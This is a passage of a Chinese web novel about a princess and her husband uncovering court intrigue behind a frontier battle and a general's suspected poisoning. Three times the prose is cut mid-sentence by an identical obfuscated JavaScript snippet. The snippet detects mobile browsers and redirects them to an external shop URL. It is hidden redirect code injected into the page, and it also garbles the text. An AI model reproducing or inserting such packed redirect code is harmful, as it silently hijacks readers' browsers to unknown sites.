轻握着牧崇仪的手，帮崇仪找感觉：“崇仪，你看，这个角度，这个力道……对，用力扔。” “进了，进了！”“崇仪真棒！”“皇女好准头。”周围的喝彩声让牧崇仪十分开心。她决定不要昭灵小姑姑帮助，自己试试。 铜壶放得相当近，牧崇仪也算有天赋。试了几次，觉得自己相当有把握，就要求与牧晓和陶云娴比试比试。 陶云娴没想到会提到自己，被牧晓暗中轻拍一下，才反应过来：“好……好。不过我已许久不玩投壶，只愿不会扫了皇女的兴。”她觉得被牧晓拍到的手臂在发烫。 比试怎能没有彩头。余皇后定的，第一名彩头是个鎏金暖炉，第二名是份超大的精致点心礼盒和详细制作方法，第三名是银质长命锁、布制金线狨，和绘有小暖炉的木质拨浪鼓。 牧晓觉得彩头都很有意思。而其中对牧崇仪最没意思的，大概是鎏金暖炉。 第二名和第三名的彩头，都有吸引牧崇仪的部分。牧崇仪犹豫一下，又想拿第一，又想要第二或者第三名的彩头。 最后，牧崇仪想，既然不论什么结果自己都会开心，那就不管结果啦。 她第一个上场，拿着6支短箭。 中了；没中；中了；中了……后面两支没力气了。 牧崇仪中了3支，虽然有点遗憾，但想到能得到第二名或第三名的彩头，又笑起来。 牧晓没有在牧崇仪后去拿短箭，而是示意陶云娴先投。 陶云娴仍有些不在状态，恍惚之间拿箭上前，还没意识到自己在干什么，就已经投完了。 她中了5支。 她有些不敢看母亲的神色。 陶云娴明白，在母亲眼里，自己又搞砸了。平日里争强好胜也就罢了，现在是在宫中，母亲肯定想让她当最后一名，给皇女和如今风头正盛的昭灵公主捧个场。 但她又抱有一丝希冀。昭灵公主投壶相当厉害，她也曾旁观过，惊艳过，羡慕过。 只要不让我是第一名就好。陶云娴不知自己为何要这样祈祷。她觉得自己这样祈祷相当不对劲，但现在昭灵公主6支全中，或许就能让她回家后不用遭受母亲的冷脸。 她为什么要管母亲的冷脸呢？自己明明一直为亲事和母亲吵架，怎么还会介意母亲的冷脸呢……她明明，是想当个“第一”的。 “恭喜。陶姑娘真的很优秀。”昭灵公主含笑的声音在陶云娴的耳畔响起。 陶云娴赢了。她中了5支，牧崇仪中了3支，昭灵公主中了1支。 “陶姐姐好厉害！许久不完还能投中整整5支！下次陶姐姐教我好不好？”牧崇仪也笑着对陶云娴称赞。母后平时并不让她多吃糕点，说是不易消化，也会伤牙。多亏陶姐姐，她现在终于有糕点吃啦。 不过，牧崇仪还是气鼓鼓地转向牧晓：“昭灵小姑姑坏。专门抢我的金线狨。” 牧晓和崇仪说悄悄话：“那崇仪要不要和我换？” 牧崇仪的大眼睛亮起来：“小姑姑好！我拿小姑姑刚才想要的食谱换！” 最后，陶云娴得到了鎏金暖炉，牧崇仪得到了金丝狨和糕点，牧晓拿到了食谱、长命锁和拨浪鼓。 余长欣对所有结果都乐见其成。现在这个结果，也有几分意料之中。 崔太妃和牧晗明面上都在笑着恭喜所有人。 到了该出宫的时间。 牧崇仪实在有些不舍，拉着牧晓想说几句悄悄话。 余长欣也随她去了。 牧崇仪凑到牧晓身边，说了几句舍不得后，在大庭广众之下，伸胳膊抱住了半蹲的牧晓。 牧晓轻拍了她一下，听到耳边传来牧崇仪悄悄话：“昭灵小姑姑，你最近是不是惹父皇生气了。和他道个歉吧。父皇能解决所有问题。” 15.求仁得仁 牧崇仪大庭广众之下的悄悄话着实骇人。 但眼下还在宫中，牧晓来不及仔细思考这到底是崇仪自己偶然听到，是余长欣故意让崇仪传达，还是背后的文昌帝想警告她什么。她尽力维持住面上的平静，保持着嘴角上扬的表情道：“谢谢崇仪。” 牧崇仪自然感受不到她寥寥几句话泛起的涟漪，不再收声，而是甜甜回道：“崇仪也谢谢昭灵小姑姑肯换金丝狨。崇仪下次还要听故事。” 暖炉宴散了。 牧晓想到去往尘寺见邢承远一案人证的苏墨清一行和都察院之人，有些心神不宁，但又不好加快脚步，显得太着急。 崇仪说文昌帝不满的，到底是何事？是因她在京郊截杀一案中，心慈手软放过了钱谦等人，没有斩尽杀绝？因她私见段御史之事被瞧出端倪？因百听阁管得太宽犯了朝廷忌讳？还是文昌帝只是许她查往事，但不应推动玄岳关之事摆上明面或更改结果？ 又或是，邢承远其实是文昌帝的人，在西南做的一切皆是文昌帝默许。她要拿下邢承远，动了文昌帝在西南的暗线？ 还是这仅仅只是崇仪无法分辨文昌帝是真动怒还是假动怒，而产生的一点乌龙，不然为何不避开崇仪？让崇仪传递信息，真的是当朝帝后的风格么？崇仪这个年纪的言行真的可控么，他们屑于利用自己的女儿么？ 牧晓的思绪在宫门口戛然而止。 宫门口的马车，有陶家的，也有昭灵公主府的。 苏墨清已经在马车旁等她了。 驾马车的依旧是芒夏。她没有跟着牧晓进宫参加暖炉宴，而是也去了往尘寺。毕竟昭灵公主要是在宫中还能出事，那肯定是文昌帝要下手，谁跟着都没用。 芒夏看到，仅一日不在一起的公主和驸马，都有几分面上不显的急迫，互相交换个旁人看不懂的眼神，钻进马车中。 芒夏在心中尖叫一声。虽然她没有心仪之人，但看着公主和驸马一路走来，实在让她被各种人情世故冻凉的尸体，重新暖和起来。 然而，公主和驸马的急切，并不是因为爱情。 “你们今日在往尘寺一切顺利么？有没有遇上什么不寻常的事？”牧晓紧绷的心绪松了下来，但还是想确认一下。 “有。”苏墨清直接道，“遇到了皇长子牧崇佑，以及刑部清吏司陶郎中之子陶云鹤。” 能参加暖炉宴的女子都在坤宁宫，相关的家属齐聚往尘寺。这样巧合的事，简直让人毛骨悚然。到底是谁在背后掐准了日子？牧晓心头霎时间闪过无数猜测。 牧崇仪的话语还在耳畔回荡，现在往尘寺中遇牧崇佑，让这件事几乎板上钉钉。 “牧崇佑才13，当今陛下就允许他出宫？”牧晓诧异地问。 苏墨清看她明显不轻松的神色，意识到宫中的暖炉宴大约有几分异常：“牧崇佑遇到我有几分真实的惊讶，早有预料的可能性不算太高。他自言最近课业不顺，陛下许他出去散散心。他和身为皇子伴读之一的陶云鹤来往尘寺，就为去拜文曲星，以求下次先生考课业时，能顺利通过。” 牧晓失笑。和她十三四被课业难倒时，想出来的解决方法大差不差。当年她觉得有些题能不能在先生手中拿到好评语，已不是多努力的问题，而是种玄学。既是玄学，与其闭门造车，不如求神拜佛。 牧晓向他转述了牧崇仪的话。 苏墨清听到后沉默几息，问她：“不论是何种情况，还查下去么？” “查。怎么能不查。”牧晓闭眼叹息道，“皇兄没明言，就当不知道。总不能如惊弓之鸟，被没个准信的事吓退。人死不过头点地，一瞬的事，快得很；放过这个时机，可是要被后悔凌迟一辈子。” 下定决心，牧晓睁开眼，没问她早就烂熟于心的邢承远之事，而是问起陶云鹤：“我在宫中遇到了陶云鹤的姐姐陶云娴。就是我那堂姐牧晗的女儿。陶云娴和她母亲似乎在争什么气，一直在走神。陶云鹤和段弈哲一般年纪，你熟么？” “算不上熟识。不过陶云鹤和段弈哲现在都是皇子伴读，他们互相应该相当了解。”苏墨清思忖片刻，“陶云鹤不止求了文神，还在姻缘处替他姐姐陶云娴求了个签。有意思的是，他似乎并不想求个上签，而是在求出下签后如获至宝，欢天喜地地走了。” 牧晓大致明白陶家现在的情况了。 家家有本难念的经。陶云娴早已到婚嫁的年纪，但迟迟未嫁，许是不愿嫁。牧晗却实在有些刻板，希望女儿和自己当年一样，尽早嫁人。或许牧晗还威胁过女儿，若是再和自己闹下去，就趁暖炉宴上和余皇后开口，求余皇后为陶云娴择婚赐婚。所以，陶云娴才会在暖炉宴上频频走神，且十分不安。 牧晗这一辈子都在求稳，也求仁得仁。 她不觉得求稳有何不好——楚岚骁没有求稳，她赌上全副身家性命成了开国皇后，可她还是早早死了；姚千宁没有求稳，她风风火火当断则断，与苏老将军和离后，姚家人不拿她当姚家人，苏家人不拿她当苏家人；余长欣没有求稳，她身为前朝旧臣之女，如约嫁与当时已是太子的牧晞，现在放眼望去连个能帮衬的娘家人都没有；牧晓没有求稳，她当年离经叛道嫁已亡人，为自己的自由去西南放手一搏，可她在西南真的快乐么，她还是回京了啊。 一想到这几位，牧晗作为旁观者就暗自心惊肉跳、警钟长鸣，生怕女儿一时想不开，也去剑走偏锋。她只希望女儿能安宁一世，长命百岁。 但陶云娴从不这样想。若是她知道母亲对这几位的评价，反而会嗤之以鼻——母亲为何能把这几位女子波澜壮阔的人生经历论成这样？ 她明明看到了新的可能，一种拥有更精彩人生的可能。 陶云娴，不想和母亲一样，一辈子谨小慎微；不愿还未试过升起，就嫁为人妇，只能被柴米油盐摧折。她事事掐尖冒头，永远不甘认输，就是想拼尽全力，看看自己是否有机会，也能轰轰烈烈一场。若是女子注定与史书无缘，能被更多人短暂记住，亦是对她的无上嘉奖。 陶云娴正站在人生的十字街口举棋不定。 牧晓也正站在玄岳关之事的十字街口。她决定，继续往前走。 “若是顺利，玄岳关的战局规划，可以从邢承远口中一层一层剥出来。”牧晓盘算道，“当年玄岳关的将领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753342|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，最重要的几位还在西南。我当年没有从他们身上察觉到什么异常。离他们进京述职或者调任，都还早得很。” “对那空白两日影响最大的，应该是苏老将军的考量和军令吧。”苏墨清提出，“还是说，那空白两日间，发生了什么让苏老将军也无法解决、无法调出人手乘胜追击草都蛮主力的棘手问题？甚至无法被明写于战报之上？” 粮草紧张？不会。主力军队在18日中午已秘密攻下草都蛮一侧峰，18日至19日间已攻下小玄岳关，粮道十分通畅；更别提19日夜间以迅雷不及掩耳之势奇袭而下另两侧峰，两侧峰中亦有一定的粮草储备。 内部哗变？战事如此顺利，兵士都在振奋地等着一鼓作气立下不世之功，好获得爵位封赏；给朝廷的战报上，也从未写过有士兵哗变而被就地格杀。 “还有一点，”苏墨清沉吟，“为什么，我父亲这么确定我死于18日。他给我的任务是，向西吸引一侧峰追兵，为另一队奇袭一侧峰争取时机。显然，另一队成功了。按照常理推测，追兵没有回援，我这一队的任务必然也是成功了。” “若是我这支死在18日，那身后的追兵定然回援，一侧峰在18日中午被攻下的秘密就守不住。他们根本无法如此顺利地攻下小玄岳关，并截断信息，还让段弈钧佯退，迷惑主寨，暗示主寨，小玄岳关和一侧峰都安然无恙。”苏墨清站在当时的情况下推断。 牧晓也在思考这一点：“既然在草都蛮的体系中，一侧峰与小玄岳关生死相连，就算你那支吸引了部分追兵，一侧峰的重点力量压在小玄岳关前与大军对峙，一侧峰内部较为空虚是不错……但为什么，苏老将军确信，邢承远那支也进入小玄岳关中、且更不起眼的队伍，可以攻下一侧峰？” “草都蛮一侧峰明知还有一队，为什么只追了你那一队？应该是他们觉得，那一队对大玄岳关、小玄岳关和一侧峰大营都不构成威胁。遇到谁，都只有被歼灭的下场。” “18日……18日中午……”牧晓喃喃问苏墨清，“苏老将军喜欢正面强攻，还是尔虞我诈、奇谋倍出、兵行险招？” “按照他的性格和习惯，显然是第一种。他对自身实力有绝对的自信，而且相信身正不怕影子斜，选定什么就是什么。”苏墨清本着对自己父亲的了解，“朝廷和生活中，他并不喜欢弯弯绕绕这一套。但他身边不是没有符合第二种战事参谋和将领。” “苏老将军毕竟是将军，个人感情和战场形势大多数时候还是分得相当开。如果能赢，能以更小的伤亡赢，他会采纳第二种方式。” 牧晓皱起眉：“你不觉得第二种很像邢承远么？你以前和邢承远有仇么？” “从我的角度看，没有。怎么了？”苏墨清有些意外。 “要是在18日一早，就把你已死的消息想尽办法传到一侧峰耳中，如果你是一侧峰，你会怎么想？”牧晓似乎拽住了破译战局的一个线头。 “援兵要回来了。”苏墨清很自然地回答，顿时了然，“援兵归来，应开门迎接。所以，邢承远那支，乔装后很轻松地进入了一侧峰。这是减少整个战局伤亡的关键。” 16.障眼之法 战报只讲结果，对过程的描述不会那样细致。要理清每个环节的因果，只能自行推导。 “如果是这样，你那支队伍在18日的死亡信息，应当只是障眼法。为何最后在战报上成了真？”牧晓对着还是打不通的空白两日，迟疑道。 “军中和朝中，是怎样确定‘我’真的死了？相似的尸体，令牌，佩剑，还是存在幸存者或敌方俘虏？”苏墨清想起牧晓在京郊截杀时，于马车上扔给自己的佩剑“不平事”，随口问道。 问完，迟迟没有得到回答。 牧晓听到这个问题后，僵在原地，仿佛暖阁中人刹那间掉进最北的冰窟，被瞬间封冻。 苏墨清这才意识到，自己当时不止“下落不明”这么简单。他起身快步走到牧晓面前，弯腰握住她冰凉的手试了试，揽住她说：“不提这个了。我们换个方向。” 牧晓回过神来，为掩饰自己的失态，扯了扯嘴角，露出个空洞的笑容：“这有什么不能说的。是我较真罢了。”她活动一下僵住的关节，深吸一口气，“你所谓的尸体，不是我方军队发现的。是草都蛮左下部。他们……” 牧晓又说不下去了。 让她怎么说呢？他们逃进西南深山，砍掉“你”的头颅，在寨门口高悬，围着它唱歌跳舞欢庆；用草药腌制“你”的尸身，只为不断凌辱，向别的部族展示自己的战果…… 而消息传出时，恰逢苏老将军身死。西南深山中地形复杂，西南各将空有刚获大捷的兵马，不想折戟于此时。 所以等到消息传到京都，我才会去宫中质问，才会那样崩溃，那样着急前往西南； 所以洛水刑场监斩时根本不是什么面不改色，而是魂魄早已被抽离的空洞与不真实； 所以我此生打的第一场胜仗，是直接进深山扫平草都蛮一直逃窜在外的左下部；我在战场上收到的第一次挑衅，是眼睁睁看着他们在熊熊火光中烧了“你”的头颅和尸身，却无能为力；我的第一份“战果”，是光秃的山峦、熏黑的焦土，自己青梅竹马的遗物，和灰烬。 我在此时，即使时过境迁，即使已经知道那是假的，即使已再流不出一滴泪，但仍无力开口叙述。 那时的场景和心境，仍在我黑夜的梦里不断闪回，让我于无声中，听见自己魂魄深处发出的尖叫。我疯透了，恨透了，甚至曾在深夜惊醒时，丑陋地嫉妒着段家人和孙氏——他们竟能拥有逝去者完整而体面的尸骨。 这让我如何放弃追寻三年前的真相。 这让我如何不悲观，如何向前看。 这让我如何放手。 我又该如何原谅。 牧晓颤抖的手被握住，颤抖的身躯被拥入怀中。 她听到对面的人郑重地说：“对不起。” 她仿佛被什么东西重重锤击，不自觉抖得更厉害。 为什么要说对不起。这到底是谁的错，还未可知。如果真的如我三年前想的那般，这背后有我皇兄的手笔，杀父之仇和杀身之仇，你要报吗？这又让我，该如何抉择。 牧晓的第一反应是，瞒下去，这不过是个猜想罢了，甚至没有足够的证据。她不说这个猜想，这辈子他都不会知道，缺了这一小小细节，或许根本不影响事情的真相。 她再也不想失去身边的任何一人，何必因为自己的一个猜想，把失而复得的人亲手推远。 “青梅竹马”四个字，又何止代表了爱人。 在成为爱人前，他们是同窗，是伙伴，是知音，还是约定好要一直并肩的未来战友，是自己选择的亲人。 何必呢？牧晓听见自己向自己的叩问。何必种下怀疑的种子？现在这样一步步推下去，有什么不好？我为何要改变这个方向？ 但瞒来瞒去，真相和对方，都会渐行渐远。 万一推开那扇名为真相的门，发现门后真如自己所想那般，他又问我，是否早就知情。我该摆出什么表情，做出什么反应，给出什么回答。 可是，又何必如此早地砸碎手中的酥糖…… 在错综复杂的混沌想法里，牧晓下意识做出了反应。 她从对方的怀抱中离开，回避对方担忧的目光，踉跄一步，单手扶住桌沿，紧扣桌沿的手泛起青白。 “不，不用。”牧晓也不知道自己到底为什么要说这句话，又是对谁、对哪件事说的这句话。 她听到自己继续道：“除了你的……死，苏老将军的，也或许没那么简单。” “他们有……尸身。” “朝廷的意思是，苏老将军在大捷后，松下紧绷的那口气。人年纪大了，一时不慎，中了瘴气，在回京路上挺不住，病逝。” “但我，你知道的，我喜欢看杂书，什么新奇的，都想瞧一瞧，试一试。” “——苏老将军是被毒死的。” “现在想想，到底是蛇虫毒，还是人为下毒，我辨不出来。” “但当时没这么清醒。加上朝中的清算、洛水刑场将开、眼见和官文不一，我第一反应是人为下毒，且越想越对此深信不疑。” 几句话过后，牧晓已然冷静下来，声音和身体都不再颤抖，原本紧扣桌沿的手握成拳，慢慢回温，讲述也更加有条理。 “我能看出来苏老将军死亡的异常，太医和京城众多民间医者，真的看不出来么？我去套他们的话，但不论怎么套，他们都避而不谈。最奇怪的一点在于，他们马上能猜出来，套话者与皇室息息相关。” “试图提出异议的几位，最后的结局是也上了洛水刑场。罪名是——故弄玄虚，妖言惑众。但他们到底说了什么，并未公开。” 牧晓望向虚空的目光锋锐起来：“说句敞亮话，当年苏墨淳没能袭爵，是有我暗中一份。但就像钱谦具体怎么判我无权插手一般，延国公这个空置的爵位到底何去何从，我没权力一锤定音。” “许多人，包括……盯着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757478|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个与军望挂钩的爵位，很久了。”牧晓最后叹息一句。 苏墨清静静地听着，明白牧晓就差没直说成，皇兄想要你们父子的命很久了，就等一个合适的时机，卸磨杀驴。她当年怀疑过苏老将军和苏小将军都是他毒死的。 这何尝不是关心则乱呢。牧晓自己和段御史在政局翘板两边你上我下时，把朝堂争斗和私下情谊分得如此清晰；轮到翘板两边放的不是她时，反倒担心和纠结起来。 “按照你对你皇兄的了解，他习惯把事情做绝么？表里都做绝那种。？”苏墨清问。 “不，他习惯做事留一线。”牧晓伴着苦笑快速答，“把事做绝，听起来像我在外打出的声名。”因此，借给钱谦等人谅解正正自己的名声，才成为她给皇兄的借口。 “西南军务在你介入前，是否仍有持续发展的生命力？”苏墨清再提一问。 牧晓嗤笑：“……连逝去同袍的尊严都不知维护，谈什么生命力。还有兵士愿意效忠，已是奇事。” 这两个问题打开了另一个思路。 牧晓终于如往常议事般看向苏墨清：“我承认，按照这份考量，一个虚无的爵位远比不上西南稳定发展来得重要。直接毒死你们两个不像皇兄的风格。让苏老将军高老归隐，但把他限制在京城；又给你诸多掣肘制衡，但发点无关痛痒的嘉奖，至少让你巩固好西南战果——这样更像他的风格。” “就算实在无法忍受你们，让西南权力平稳交接，再除掉你们，也会让西南局面良好太多。”牧晓无法预测，没有她这个变数的西南，会和现在有什么不同。或许会有能臣横空出世，或许会艰难挣扎，但这些都没有定数。将西南未来寄托于虚无缥缈的无定数上，实在儿戏。 “退一步讲，就算陛下真的想除掉我和苏老将军，那也是君要臣死。先论朝局，后论私谊。”苏墨清上前伸手搭在牧晓肩头，认真问她，“要是你的卫队在入京时被钱谦拿下，或是被段御史找出由头绊住，不得解脱，你会怎么想？” “那我真是废物一个。技不如人，活该吃这一堑。”牧晓笑答。 苏墨清扬眉：“严于律己，宽以待人，是君子美德。但朝堂之上哪有真君子？能非真小人便是正常可交。” “我们两个说的事，严重程度是能同日而语的么？”牧晓反问。她明白苏墨清在提醒自己，朝中斗不过，只怪自身棋差一招。若是三年前他和苏老将军都被设计得恰到好处，那身死的结局只能怪他们自己没成功解局。何必为他们纠结。 “同为存亡之危，哪有高下之分？”苏墨清点她，“在存亡面前，就别严于律己了。怎么还嫌自己麻烦不够多？” 这时，芒夏用特殊手法叩了几下门后，推门进来禀报：“殿下，郉将军那边有动作。根据西南暗报，他计划抢先自行请罪。请罪事由是当年监军不力，没有察觉苏小将军偷天换日，弃军逃命。” 牧晓叹气：“看，麻烦来了。” 17.不可思议 “你不得不解释，你是怎么活下来的了。”刚才的情绪起伏让牧晓脑中发麻，她缓缓呼出几口气，轻声道。 “不用担心，郉承远这一本递上去，未必是坏事。”苏墨清没有丝毫紧张，“从结果推出来的罪名，一定真实么？” “看来你对怎么解释胸有成竹。”牧晓嘴角上扬，心中的郁气消了大半，“郉承远听到风声不奇怪。他要是这点敏锐都没有，只能说白在西南混这么多年。他要是真有你临阵脱逃的证据，就不会留到现在，而定会在前几年就把证据变成威胁我的尖刀，或者他晋升路上的垫脚石。” “但他没有证据，你有么？”牧晓敲敲他面前的桌面。 “有些特定的事，可以不用讲求证据。你刚才提醒我的。”苏墨清点了下桌上地图。 牧晓见他点的是洛水，脑中一闪：“你说洛水刑场？那几位因提出异议被斩的医师？” “确实。涉及到皇室的敏感问题，或者圣意，不需要证据。不能指望皇兄完全站在我们这边……你在西南遇到了谁？”牧晓疑惑。 “和十多年前有关。”苏墨清隐晦一提。 十多年前，“不可说”之事——先皇成功登基。 和这件事情相关人士有牵扯，那还真不用实在的人证物证。 “芒夏，公主府和百听阁的人都任他用。”牧晓对站在一旁的芒夏道，笑容里多了几分拭目以待的意味。 “遵命。”芒夏觉得这句话其实不是在提醒自己，但还是抱拳应了。 的确是这样。 芒夏听到在自己应声后，苏大公子也做了和她一样的手势，不紧不慢道：“遵命。” 牧晓左手一按，右手一按，把两个人抱拳的手都摁了下去。 · 只隔一日，公主府便有位稀客递上拜贴。 一直与公主府交集甚少的牧晗，竟要来送礼。 只说昭灵公主回京，本应早来拜会；但因陶郎中涉京郊一事的审理，所以避嫌许久。如今案件已过，应补上才是。但她自己和女儿陶云娴近日身体抱恙，无缘来见，只能托亲子陶云鹤上门，代为表达敬意。 “这就奇了。认识这么多年，我和这位堂姐可从来只是点头之交，未尝走动过。现在到底是为了什么，能让她破了例？派上门的还是陶云鹤，不是陶云娴。”牧晓啧啧称奇。 “身体抱恙这个理由着实敷衍。抱恙可以改日再来，反正都晚了这么多，不差这一时。这样明摆着就是自己不想上门，也不想让女儿上门，但又有原因不得不捏着鼻子来送这份礼——可能还挺着急——所以仓促找了个理由。”牧晓瞥了眼拜贴，没停下手上的笔，边继续写边随口问苏墨清，“陶云鹤来找你的么？他是怎么和玄岳关那件事扯上关系的？他现在才几岁，最多也就十四五吧。” “应是来找我核实信息的。”苏墨清放下手中书卷，“大概不是陶云鹤想见我，而是牧崇佑。只是牧崇佑无法出宫，不便前来，也不能把我叫进宫，故而来的就只能是陶云鹤。” “牧崇佑和陶云鹤上次能去往尘寺就相当古怪。从理由到行踪，都称得上不伦不类。宫里到底发生了什么事，值得皇子去往尘寺？”牧晓称不上好奇，因为要是她皇兄和余皇后有什么事，要么很难得瞒住，要么不需要瞒住。 “陶云鹤真的上门，印证了我的猜测。”苏墨清到牧晓桌前看了眼那张仓促的拜贴，“真正身体抱恙的，大概是宫中那位太皇太后。上次他们去往尘寺，真实原因应当是为太皇太后祈福。” “我那位皇祖母？她实在年长，也抱恙多年。这次可能不轻。”牧晓和这位皇祖母实在没什么感情。 这位太皇太后，本就心偏，在先皇未曾成就功业前，最不喜这个儿子。别说牧晓和牧晞，就是先皇也没从她身上感受过太多亲情。 而先皇登基，她被尊为太后，牧晓还发现这位皇祖母除了变脸之外的另一个特点——喜欢挑每个女子的刺。是以，牧晓对这位本就没见过几面的皇祖母，一直是非必要不见的态度。 作为当朝皇帝的牧晞，对这位太皇太后也相当敷衍。 但牧崇佑不同。他不是女子，不会被这位过度挑刺，在幼时还曾被这位养在膝下。于情于理，他来关心这位太皇太后，也算合适。 “这么说，救你的实际上是暮药师？符合医师、与十年前之事有关、不能深究身份的角色，我只能想起这一位。闻玄机也一直在找他。”牧晓放下笔，显出点兴致，“牧崇佑急于找天下名医展示孝道，陶云鹤急于向牧崇佑展示自己，你想借这两位各自的心急，把你活着这件事以最快的速度，在皇室这边合理化？” 语气是疑问，但实际是已确定了。 苏墨清但笑不语。 “看来，牧晗这封潦草拜贴，并不是对我置气。大概是发现自己百密一疏，终被拖下这趟浑水，还想尽力挣扎一下。”牧晓摇摇头，“让人把陶云鹤放进来吧。” “用得着这么给陶家面子么？”苏墨清起身，拿走拜贴的同时，把拜贴摁在桌面的一滴未干墨迹上，“昭灵公主看见的，只是这封拜贴。陶云鹤有他母亲的三令五申在，也不会久留。” “陶家如做贼般鬼鬼祟祟，拿不起又放不下，何必可怜他们。”苏墨清扬扬手中的拜贴，“我去回他几句，如何？” “行啊。我刚好把手上的东西写完。”牧晓眉眼弯弯，唇角含笑，“谢谢苏大公子帮我擦净桌面。” 擦得何止是桌面，简直是陶家的脸面。 陶云鹤拿回拜帖，以为此行注定无果。他自知理亏，但找母亲写出这封拜帖，能让他名正言顺来公主府，已耗了他太多气力。他实在没什么经验，也疲惫到顾不上思考这粗糙拜帖中的细节。 原来办成一件事这样难。他顾头就没法顾尾，根本无法做到周周全全、滴水不漏。 他垂头丧气转身正要离去，公主府门开了。 “陶公子请回吧。昭灵公主今日事务繁忙，实在无法抽出时间相见。麻烦转告郎中夫人一声，下次可早些约定时间。”苏墨清面上看不出喜怒。 陶云鹤的眼睛骤然亮起。真是得来全不费功夫，歪打正着。他就知道，公主府也没有母亲说得那样难进，探查天下名医消息这事，也没有父亲想得那样难办。拜帖写成这样，还能由公主驸马亲自来送客，可见昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763002|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵公主亦没有母亲说得那样不近人情。 他向前一拜，一时激动，忘了自家拜帖上写的事由，脑中只余母亲让他切勿逗留的嘱托，以及自己的目的，开口就道：“敢问三年前在西南战场救下苏将军的，是否正是名动天下的暮药师？” “与陶家何干？”苏墨清的脸色更加冰冷。 “我有一友，家中长辈有疾，想寻天下名医为其医治，托我多方打听询问。最近正巧打听到，苏小将军或许知道暮药师的下落，因此莽撞前来，望苏将军不吝赐教。”陶云鹤拜得更低。 “澜西河上游谷地。我最后一次见暮药师之处。”苏墨清垂眸丢出两句，抬手虚扶陶云鹤一把，“当不起陶公子之礼。公主府门口实非问话的好去处。陶府的拜帖和上门态度实在令苏某刮目相看。陶公子既然目的已达，何必杵在公主府门前。救人要紧，还是尽早归家为好。” “谢苏将军指点。”陶云鹤自己激动得已把手中拜帖攥成团，就差往身后潇洒一抛，“啊，恭贺昭灵公主和苏将军回京。实在感谢苏将军。事出紧急，礼数不全，望昭灵公主和苏将军见谅。实在抱歉，实在抱歉。” 说罢，见对方略一回礼，示意自己可自行离开，陶云鹤一步三回头地走了，全然不顾整条街上行人异样的眼光，和公主府门口侍从侍卫不忍直视的表情。 公主府门口又恢复了往日的秩序。 公主府内，牧晓听了苏墨清的简短讲述，笑得前俯后仰：“苍天啊，这几位皇子伴读都是这种风格么。是几年没回京，京中少年性格风向突变，还是这个年纪的少年皆如此？一个段弈哲，一个陶云鹤，京城这样大智若愚的世家公子真有这么多么？难道都挑到牧崇佑身边了？就这两位围在身边，每日不提学业是否涨进，心情大约会相当晴朗。” 牧晓仔细想想，这样挑人，真有几分余长欣的风格。估计这两位是各自有自己过人之处，只是不在人情世故上。不过，她皇兄也当真同意？这真是相当不可思议。比牧晗递拜帖还不可思议。 “陶云鹤从百听阁得到的消息？他怎么想到去……也不奇怪。大概是段弈哲上次成功从百听阁得到情报启发了他，或者干脆是段弈哲推荐他去的。”牧晓光是想想就觉得好玩，“还在公主府门口大声嚷嚷。现在好了，何止宫中，全京城都该知道了。陶云鹤得等下次开课才能告诉牧崇佑，说不准消息能更早飞到牧崇佑耳中。陶云鹤又拿什么去邀功呢？” “暮药师的事，你认为宫中人会如何看待？”苏墨清含笑问她。 “你是说我皇兄？说实话，不怪牧崇佑和陶云鹤一时意识不到不到暮药师的特殊身份。我皇兄和我也都没见过他。比起他前前朝周国女帝暮氏直系后人的身份，还是他药师的身份更名动天下。”牧晓思索片刻，“我皇兄……把暮药师‘请’进宫里做个样子？或者直接当没看见牧崇佑他们的小打小闹，都有可能。太医治不了的东西，凭什么就相信民间药师能有所帮助？” “至于你这件事……”牧晓顿了顿，“陶云鹤这一辈人不知，但朝中老狐狸对当年的事可是一清二楚。以他们的敏锐，邢承远那封自行请罪书，应该掀不起风浪来了。” 18.暮姓药师 事实真的如此么？ 事情的发展，竟远超乎牧晓的想象。 邢承远的那封信，与公主府门口之语，皆在京中真真实实起风又起浪了。 “殿下，现在的好消息是，邢将军因诽谤诬陷被下令押来京城。加上先前收集来的证据，不论再出何种变数，都难以轻易脱身。但因暮药师之名在京重提，朝中和舆情又有暗动。在先皇和当今圣上即位之初的议礼论战，时隔多年，再次松动。”芒夏简要禀报。 “洛水刑场未曾斩尽议礼之人？还有人有胆再提？”牧晓有些惊奇。她虽一直对这议礼论战不感兴趣，但因议礼泛起的波澜确实多次波及她，让她无法完全置身事外。 文臣如何称帝？丞相如何能称帝？ 几代牧家人前赴后继堆出通天路，牧晓的父亲交出了最终答卷。 三朝之前为乱世，最终从天下枭雄中杀出重围的，是位暮姓女子。她用一生时间征战四方，平了乱世，安了天下，建立周国，令四方俯首称臣。 